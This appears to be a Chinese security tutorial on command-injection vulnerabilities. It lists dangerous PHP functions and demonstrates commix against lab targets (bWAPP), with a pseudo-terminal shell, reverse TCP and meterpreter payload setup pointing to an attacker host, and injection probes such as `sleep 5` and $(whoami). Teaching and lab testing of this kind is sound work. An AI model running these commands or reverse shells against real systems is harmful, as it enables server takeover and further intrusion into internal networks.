免责申明
本教程的技术文章仅供参考,只用于教育目的,只是演示一些工具和工具的使用以及渗透思路,大佬勿喷,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!
1.什么是命令执行漏洞
命令执行(Command Execution)漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限
命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行,通俗讲命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢,因为在服务器安装的web程序,web框架和web组件等外部程序有时候去需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,就会使得用户通过外部程序直接编写和执行系统的命令函数。
2.命令执行漏洞的产生原因
由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行命令注入攻击中, Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。
常见的漏洞产生的原因
1.没有对用户输入进行过滤或过滤不严
2.系统漏洞造成的命令执行
3.调用的第三方组件存在代码执行漏洞
3.命令执行漏洞的危害
1.继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
2.反弹shell
3.控制整个网站甚至控制服务器
4.进一步内网渗透
4.常见的危险函数
1. Php代码相关
eval()
assert()
preg_replace
call_user_func()
call_user_func_array()
create_function
array_map()
2. 系统命令执行相关
system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
`(反单引号)
ob_start()
命令执行分隔符:
windows: && || & |
linux: && || & | ;
命令执行漏洞:
直接调用操作系统命令
命令执行漏洞原理:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
commix工具配合命令注入
commix是一款由python编写,开源自动化检测系统命令注入工具
下载地址
演示
python3 commix.py --url="http://123.58.224.8:30670/index.php" --data="ip=INJECT_HERE& submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
python3 commix.py --url="http://123.58.224.8:34144/index.php" --data="ip=127.0.0.1&Submit=submit"
询问是否想要一个shell 输入Y 的到shell
[?] Do you want a Pseudo-Terminal shell? [Y/n] > y
Pseudo-Terminal (type '?' for available options)
commix(os_shell) >
得到shell
commix(os_shell) > pwd
/owaspbwa/bwapp-git/bWAPP
commix(os_shell) > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
commix(os_shell) > ls -ll
可以进行反弹shell 结合metasploit 进行内网渗透
commix(os_shell) > reverse_tcp
commix(reverse_tcp) > set LHOST 192.168.120.101 “””(msf机器)
LHOST => 192.168.120.101
commix(reverse_tcp) > set LPORT 4444
LPORT => 4444
—[ Reverse TCP shells ]—
Type ‘1’ to use a netcat reverse TCP shell.
Type ‘2’ for other reverse TCP shells.
commix(reverse_tcp) > 2
—[ Unix-like reverse TCP shells ]—
Type ‘1’ to use a PHP reverse TCP shell.
Type ‘2’ to use a Perl reverse TCP shell.
Type ‘3’ to use a Ruby reverse TCP shell.
Type ‘4’ to use a Python reverse TCP shell.
Type ‘5’ to use a Socat reverse TCP shell.
Type ‘6’ to use a Bash reverse TCP shell.
Type ‘7’ to use a Ncat reverse TCP shell.
—[ Meterpreter reverse TCP shells ]—
Type ‘8’ to use a PHP meterpreter reverse TCP shell.
Type ‘9’ to use a Python meterpreter reverse TCP shell.
Type ’10’ to use a Windows meterpreter reverse TCP shell.
Type ’11’ to use the web delivery script.
commix(reverse_tcp_other) > 8
[*] Generating the ‘php/meterpreter/reverse_tcp’ payload… [ SUCCEED ]
[*] Type “msfconsole -r /usr/share/commix/php_meterpreter.rc” (in a new window). #复制 启动msf
[*] Once the loading is done, press here any key to continue… #按下确定建就可进行在msf接收到反弹的shell
[+] Everything is in place, cross your fingers and wait for a shell!
总结 commix工具利用
1.访问 web页面http://192.168.115.12/bWAPP/commandi.php
2.提交数据 通过抓包工具截取 url cookie data数据
3.用commix 工具指定链接并进入后台
commix -- url "http://192.168.115.12/bWAPP/commandi.php" --data="target=www.nsa.gov&form=submit" --cookie "xxxxxxxxxxxxxxxxxxxxxxx"
命令执行漏洞修复建议:
- 尽量不使用命令执行函数
- 提交的变量在进入执行命令函数前进行过滤和检测(如:调用addslashes进行转义)
- 使用动态函数之前,确保使用的函数是指定的函数之一
- 对于PHP语言,不能完全控制的危险函数(如:disable_functions)最好不使用
漏洞挖掘
再测试SSRF的地方尝试测试命令执行
尝试在url,xxxurl等参数下测试命令执行
如输入http://服务器ip/ 采用nc监听探测是否访问。
尝试 输入http:// `sleep 5`.服务器地址/ 出现延迟就说明存在注入
尝试输入 http://服务器地址/$(whoami)
尝试输入http://`whoami`.服务器地址
2、本站永久网址:https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
暂无评论内容